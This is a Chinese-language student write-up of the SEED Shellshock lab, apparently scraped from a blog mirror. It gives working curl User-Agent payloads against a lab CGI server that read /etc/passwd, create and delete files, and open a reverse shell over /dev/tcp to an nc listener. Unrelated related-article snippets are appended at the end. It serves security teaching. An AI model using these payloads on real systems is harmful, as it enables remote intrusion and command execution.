Shellshock Attack SEED-LAB

article/2025/9/17 21:31:28

实验官方文档链接SEED Project

环境搭建

  1. DNS设置

    在我们的设置中,web服务器容器的IP地址为10.9.0.80。服务器的主机名为www.seedlab-shellshock.com。我们需要将此名称映射到IP地址。请将以下内容添加到/etc/hosts。您需要使用root权限来修改此文件

    10.9.0.80 www.seedlab-shellshock.com
  2. 容器设置及相关命令

        在lab官网下载labsetup到虚拟机中,使用以下命令解压缩        

apt install -y unzip
unzip Labsetup.zip

        使用命令dcbuild设置实验环境,但是出现以下报错

ERROR: Service 'victim' failed to build : Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on 127.0.0.53:53: server misbehaving

        解决办法:修改虚拟机的网络连接方式为NAT        c2762f3a46774c37928d0505a8926d2c.png

        接下来用dcup命令运行靶机容器

        3. Web Server and CGI

在本实验中,我们将对 Web 服务器容器发起 Shellshock 攻击。 许多 Web 服务器启用 CGI,这是一种用于在网页和 Web 应用程序上生成动态内容的标准方法。 很多CGI程序都是shell脚本,所以在实际的CGI程序运行之前,会先调用一个shell程序,这样的调用是由远程计算机的用户触发的。 如果shell程序是一个易受攻击的bash程序,我们可以利用易受攻击的Shellshock获取服务器权限。

在我们的 Web 服务器容器中,我们已经设置了一个非常简单的 CGI 程序(称为 vul.cgi)。 它使用 shell 脚本简单地打印出“Hello World”。 CGI 程序放在 Apache 的默认 CGI 文件夹 /usr/lib/cgi-bin 中,它必须是可执行的。

#!/bin/bash_shellshockecho "Content-type: text/plain"
echo
echo
echo "Hello World"

CGI 程序使用 /bin/bash shellshock(第一行),而不是使用 /bin/bash。 此行指定应调用哪个 shell 程序来运行脚本。 我们确实需要在本实验中使用易受攻击的 bash。

要从 Web 访问 CGI 程序,我们可以使用浏览器输入以下 URL:http://www.seedlab-shellshock.com/cgi-bin/vul.cgi,或者使用以下命令行程序 curl 做同样的事。 请确保 Web 服务器容器正在运行。

curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

a2656bc7b7674dcfabfa905abd854a97.png

task 1:experimenting with Bash Function

在bash_shellshock上设计一个实验验证该shell是否易受shellshock攻击,并在普通/bin/bash上验证。

建立一个shell变量foo

foo='() { echo "hello world"; }; echo "extra";'

在bash_shellshock中运行,发现foo被子进程识别为函数并继承,除函数体外,额外的命令被执行了。

adc322cd3f664ecabe5e7f26eb9f8659.png

da78424af769404e9ccff9168a76daa0.png

当我们在patch后的shell执行上述步骤,发现foo后面的命令并没有被运行。foo也没有以函数的形式被继承。

a11daca7d0ff4e06b3ad5d0c976d03cb.png

task 2:Passing Data to Bash via Environment Variable

为了利用基于bash的CGI程序中的Shellshock漏洞,攻击者需要将其数据传递给有漏洞的bash程序,并且数据需要通过环境变量传递。在这项任务中,我们需要看到如何实现这一目标。我们在服务器上提供了另一个CGI程序(getenv.CGI),以帮助您识别哪些用户数据可以进入CGI程序的环境变量。这个CGI程序打印出所有的环境变量。

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ ①

Task 2.A: Using brower

在上面的代码中,行 1打印出当前进程中所有环境变量的内容。 通常,如果您使用浏览器访问 CGI 程序,您会看到类似以下内容。 请确定浏览器设置了哪些环境变量的值。 您可以在浏览器上打开 HTTP Header Live 扩展来捕获 HTTP 请求,并将请求与服务器打印的环境变量进行比较。 请在实验报告中包括您的调查结果。

****** Environment Variables ******
HTTP_HOST=www.seedlab-shellshock.com
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) ...
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9, ...
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_ACCEPT_ENCODING=gzip, deflate
...

cd5e6a61f4344959bf47cee526e6000f.png

现在安装http header live以进行环境变量的比较

289a603309b44a4883b6ec527205f467.png

32ddffa5be5048cc9ea8a54e16f709b7.png

安装后页面左边会出现一个小框框显示自动捕获的http live header,我们刷新一下刚刚访问的cgi

a7a95426d2ed42c0a8f2935c6a4790ff.png

可以看到,请求头中的user-agent、language等信息会被cgi继承成为环境变量。

Task 2.B: Using curl

如果我们想将环境变量数据设置为任意值,我们将不得不修改浏览器的行为,这将过于复杂。幸运的是,有一个名为curl的命令行工具,它允许用户控制HTTP请求中的大部分字段。以下是一些用户选项:

(1) -v字段可以打印出HTTP请求的头;

(2) -A、-e和-H选项可以在头请求中设置一些字段,您需要确定每个字段设置了哪些文件。

请在实验室报告中包括你的发现。以下是如何使用这些字段的示例:

$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

基于这个实验,请描述curl的哪些选项可以用于将数据注入目标CGI程序的环境变量。

1f3e3b900001479ea3ebe087e2193031.png

用curl命令访问该程序,可以看到程序的环境变量被打印。

我们使用-A命令尝试修改一下agent字段

4adbdfe64397442db353a6ee564579b0.png

修改后的值被cgi程序继承为环境变量。那么我们可以利用shellshock漏洞,修改agent的值,让cgi程序运行shell脚本时,通过继承环境变量来执行我们的攻击命令。类似地可以修改其它字段,如:

  • -A:设置用户代理(User-Agent);

  • -e:设置 HTTP 的标头Referer,表示请求的来源;

  • -H:添加自定义的 HTTP 请求头

task 3:Launching the Shellshock Attack

我们现在可以发起 Shellshock 攻击。 攻击不依赖于 CGI 程序中的内容,因为它针对的是 bash 程序,该程序在执行实际 CGI 脚本之前被调用。 你的工作是通过 URL http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 发起攻击,这样你就可以让服务器运行任意命令。

如果您的命令有纯文本输出,并且您希望输出返回给您,则您的输出需要遵循一个协议:它应该以 Content type: text/plain 开头,后跟一个空行,然后您可以放置您的纯文本输出。 例如,如果您希望服务器返回其文件夹中的文件列表,您的命令将如下所示:

echo Content_type: text/plain; echo; /bin/ls -l

Task 3.A

让服务器发回 /etc/passwd 文件的内容

curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd " http://www.seedlab-shellshock.com/cgi-bin/vul1.cgi

b496dd4687a44490a730757734039089.png

Task 3.B

让服务器告诉你它的进程的用户 ID。 您可以使用 /bin/id 命令打印出 ID 信息。

curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/id " http://www.seedlab-shellshock.com/cgi-bin/vul1.cgi

6828517d39674af68084d76e4d5d0510.png

Task 3.C

让服务器在 /tmp 文件夹中创建一个文件。 需要进入容器查看文件是否创建,或者使用另一个Shellshock攻击列出/tmp文件夹。

curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/touch /temp/file " http://www.seedlab-shellshock.com/cgi-bin/vul1.cgi

Task 3.D

删除tmp文件夹里的文件

curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
curl -A"() { echo hello;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

5619e74d08d749f28b698338ced50852.png

Question

问题 1:你能从服务器窃取影子文件 /etc/shadow 的内容吗?为什么或者为什么不? 在Task 3.B 中获得的信息应该会给你一个线索。

答:不能。因为打开/etc/shadow需要root权限。从Task 3.B中我们可以知道当前用户id为33,并非root。

问题 2:HTTP GET 请求通常在 URL 中附加数据,在 ? 标记后。 这可能是我们可以用来发起攻击的另一种方法。 在下面的例子中,我们在URL中附加了一些数据,我们发现这些数据是用来设置如下环境变量的

$ curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi?AAAAA"
...
UERY_STRING=AAAAA
...

我们可以使用这种方法来发起 Shellshock 攻击吗? 请进行您的实验并根据您的实验结果得出您的结论。

答:不能。因为空格在URL中需要被转义,而函数定义的左大括号前后都需要有一个空格,否则整个字符串无法被解析。

fe2f1fbdad444c6c9c0ee45578457065.png

task 4:通过 Shellshock 攻击获取反向 Shell

Shellshock 漏洞允许攻击者在目标机器上运行任意命令。 在真正的攻击中,攻击者通常选择运行一个 shell 命令,而不是对攻击中的命令进行硬编码,因此他们可以使用这个 shell 运行其他命令,只要 shell 程序还活着。 为了实现这一目标,攻击者需要运行一个反向 shell。

反向 shell 是在机器上启动的 shell 进程,其输入和输出由远程计算机的某个人控制。 基本上,shell 在受害者的机器上运行,但它从攻击者的机器上获取输入,并将其输出打印在攻击者的机器上。 反向 shell 为攻击者提供了一种在受感染机器上运行命令的便捷方式。 可以在 SEED 书中找到有关如何创建反向 shell 的详细说明。 在此任务中,您需要演示如何使用 Shellshock 攻击从受害者那里获取反向 shell。

实验过程

1. 监听本机(攻击者)9090端口上的TCP连接

nc -lv 9090

出现以下报错

nc: getnameinfo: Temporary failure in name resolution

有可能是抑制域名解析,用-lvn试试

0ef4ac053b26480cbbfadd755bf1722b.png

2. 查看攻击者服务器的TCP服务IP

c7dd7b6a23c04d0ba27a529d8036b449.png

3. 实行shellshock攻击

curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://10.9.0.80/cgi-bin/vul.cgi

(1)/bin/bash -i:-i意味着使用shell的可交互模式,shell在这个模式下会提供提示符;

(2)>/dev/tcp/10.0.9.1/9090:shell的stdout被重定向至TCP连接,即本机的TCP端口。&1:stdout

(3)0<&1:0:stdin

(4)2>&1:2:stderr

此时的监听端口显示成功创建反向shell

36065290c86a4fdca413cf31828ec199.png

task 5:using the patched bash

用bin/bash代替cgi程序的第一行,重新完成task3。

(1)新建vul1.cgi

 52476f24be064e269b5462c70a5f2895.png

(2)重新搭建容器并运行

别忘了在Dockerfile中加入新文件

40705bbea99c4d9b8224be366d9989de.png

078eb946d1664cb68201e20c886ca5a4.png

 b8b01b94bfad4e85a376002b9188ce18.png

(3)重新执行task3命令(别忘了cgi程序是vul1

49da8f89fe754639a2aba81e1eb7006e.png

打了补丁后的bash并不能成功攻击


http://chatgpt.dhexx.cn/article/kSfFy9GG.shtml

相关文章

Shellshock Lab

注&#xff1a;全文如下&#xff0c;同时欢迎参观我的个人博客&#xff1a;Shellshock Lab Shellshock 1 Overview-概述 2014 年 9 月 24 日&#xff0c;发现了 bash 中的一个严重漏洞。 该漏洞绰号为 Shellshock&#xff0c;可以利用许多系统并从远程或从本地计算机启动。…

CVE-2014-6271-bash shellshock-破壳漏洞复现

破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处理某些请求…

Vulhub-Shellshock Remote Command Injection (CVE-2014-6271)

Shellshock远程命令注入 验证 $ env x() { :;}; echo vulnerable bash -c echo hello 在终端中运行上面的命令&#xff0c;如果返回有vulnerable&#xff0c;就说明这台服务器中枪了。 把命令中的bash替换成其他类型的shell&#xff0c;可以检查机器上其他shell是否中枪。 1、…

Shellshock(bashdoor)漏洞详细分析、复现

一、Shellshock的背景 Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

linux网络知识:路由策略(ip rule,ip route)

目录 一&#xff0c;路由策略&#xff08;使用ip rule命令操作路由策略数据库&#xff09; 二&#xff0c;路由表&#xff08;使用ip route命令操作静态路由表&#xff09; 三&#xff0c; ip rule&#xff0c;ip route&#xff0c;iptables 三者之间的关系 一&#xff0c;路…

iproute2 命令详解

iproute2 命令详解 一、和netstat说再见二、篡权的ss三、被ip取代的命令 博客环境说明&#xff1a; 系统版本&#xff1a;CentOS Linux release 7.7.1908 (Core) yum源:阿里源 一、和netstat说再见 netstat命令详解点击这里查看 二、篡权的ss centos安装iproute2命令: yum ins…

linux之ip route命令

1.基础知识 1.1 路由 &#xff08;Routing&#xff09; 1.1.1 路由策略 &#xff08;使用 ip rule 命令操作路由策略数据库&#xff09; 基于策略的路由比传统路由在功能上更强大&#xff0c;使用更灵活&#xff0c;它使网络管理员不仅能够根据目的地址而且能够根据报文大小、应…

Linux系统route、ip route、ip rule简介

一、相关概念 1. 路由&#xff08;Routing&#xff09; 路由是指设备从一个接口上收到数据包&#xff0c;根据数据包的目的地址进行定向并转发到另一个接口的过程。 2. 路由表&#xff08;routing table&#xff09; 所谓路由表&#xff0c;是指路由器或者其它互联网网络设…

Linux 路由的添加删除-ip route

本文为joshua317原创文章,转载请注明&#xff1a;转载自joshua317博客 Linux 路由的添加删除-ip route - joshua317的博客 一、路由查看 # route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface default …

Arch LInux | 网络管理工具iproute2(网络接口、ip地址、路由表)

一、iproute2 Arch LInux已经弃用了 net-tools&#xff0c;转而使用 iproute2。 iproute2提供 ip 命令行接口&#xff0c;用于管理网络接口&#xff0c;IP地址。路由表。 使用 ip 命令配置的信息会在系统重启后丢失&#xff0c;要进行永久配置&#xff0c;可以使用网络管理器…

Linux ip route 常用配置

Linux ip route 常用配置 路由&#xff1a; 路由器的主要工作就是为经过路由器的每个数据包寻找一条最佳的传输路径&#xff0c;并将该数据有效地传送到目的站点。由此可见&#xff0c;选择最佳路径的策略即路由算法是路由器的关键所在。为了完成这项工作&#xff0c;在路由器…

iproute2路由配置(ip rule、ip route、traceroute)

一、Iproute2简介 Iproute2是一个在Linux下的高级网络管理工具软件。实际上&#xff0c;它是通过rtnetlink sockets方式动态配置内核的一些小工具组成的&#xff0c;从Linux2.2内核开始&#xff0c;Alexey Kuznetsov 实现了通过rtnetlink sockets用来配置网络协议栈&#xff0c…

iproute2编译安装

1、下载iproute2 cd /usr/local/src/ git clone https://github.com/shemminger/iproute2.git稳定版本库 git://git.kernel.org/pub/scm/network/iproute2/iproute2.git 2、下载编译安装libmnl git clone git://git.netfilter.org/libmnl cd libmnl/ sh autogen.sh ./confi…

ip route配置单个网关

环境&#xff1a; 树莓派通过网线连接laptop&#xff0c;走eth0网卡&#xff0c;用于ssh远程树莓派连接wifi&#xff0c;走wlan0网卡&#xff0c;用于访问外网 需求&#xff1a; 现在要让树莓派同时连接两个网络&#xff0c;必须能通过wifi上外网&#xff0c;通过网线能用笔…

ip route内容详解

------分割线------ 我们在k8s-calico2这个node上来看。执行ip r, 在这个node的路由中&#xff0c;需要我们关注的有&#xff1a; 192.168.97.2 dev calic285cddbb40 scope link blackhole 192.168.97.0/26 proto bird 192.168.210.192/26 via 10.173.32.26 dev eth0 proto…

华为路由器静态路由协议配置

华为路由器配置静态路由 静态路由 静态路由&#xff0c;一种路由的方式&#xff0c;路由项&#xff09;由手动配置&#xff0c;而非动态决定。与动态路由不同&#xff0c;静态路由是固定的&#xff0c;不会改变&#xff0c;即使网络状况已经改变或是重新被组态。一般来说&…

静态路由详细讲解

1.路由: 从源主机到目标主机的转发过程 2.路由器的转发原理&#xff1a; 根据路由表转发数据包&#xff0c;有路由条目则转发到下一跳&#xff1b; 无路由条目&#xff0c;则丢弃数据包&#xff0c;返回数据不可达信息。 3.路由表的形成 先添加直连网段路由&…

vue打印功能 手持终端打印小票,电脑连接打印机打印预览

最近的项目有手持终端打印小票和电脑连接诶打印机打印信息 方法有很多种的&#xff1a; 一. vue-print-nb 安装插件 1.安装插件 npm install vue-print-nb --save 2. 在main.js中引入安装的插件 import Print from vue-print-nb Vue.use(Print); 3.直接就可以在相应的页…

用计算机名共享打印机不能打印,共享打印机无法打印怎么办解决教程

在办公室使用共享打印机的时候&#xff0c;难免不遇到一些故障&#xff0c;比如共享打印机无法打印的问题&#xff0c;已经连接上打印机了&#xff0c;但使用它打印的时候就是不行&#xff0c;这时候我们要在自己的电脑上找原因&#xff0c;我们按下面的步骤操作来解决。 1、确…

如何在计算机上取消打印,打印机如何取消打印任务

打印机如何取消打印任务 如果文档正在打印过程中需要取消打印任务&#xff0c;则直接点击打印任务窗口中的“暂停”按钮即可取消打印任务。也可能通过点击Windows任务栏右下角的打印机图标来打开“打印任务”窗口&#xff0c;然后点击“暂停”按钮以暂停打印任务。 打印机如何取…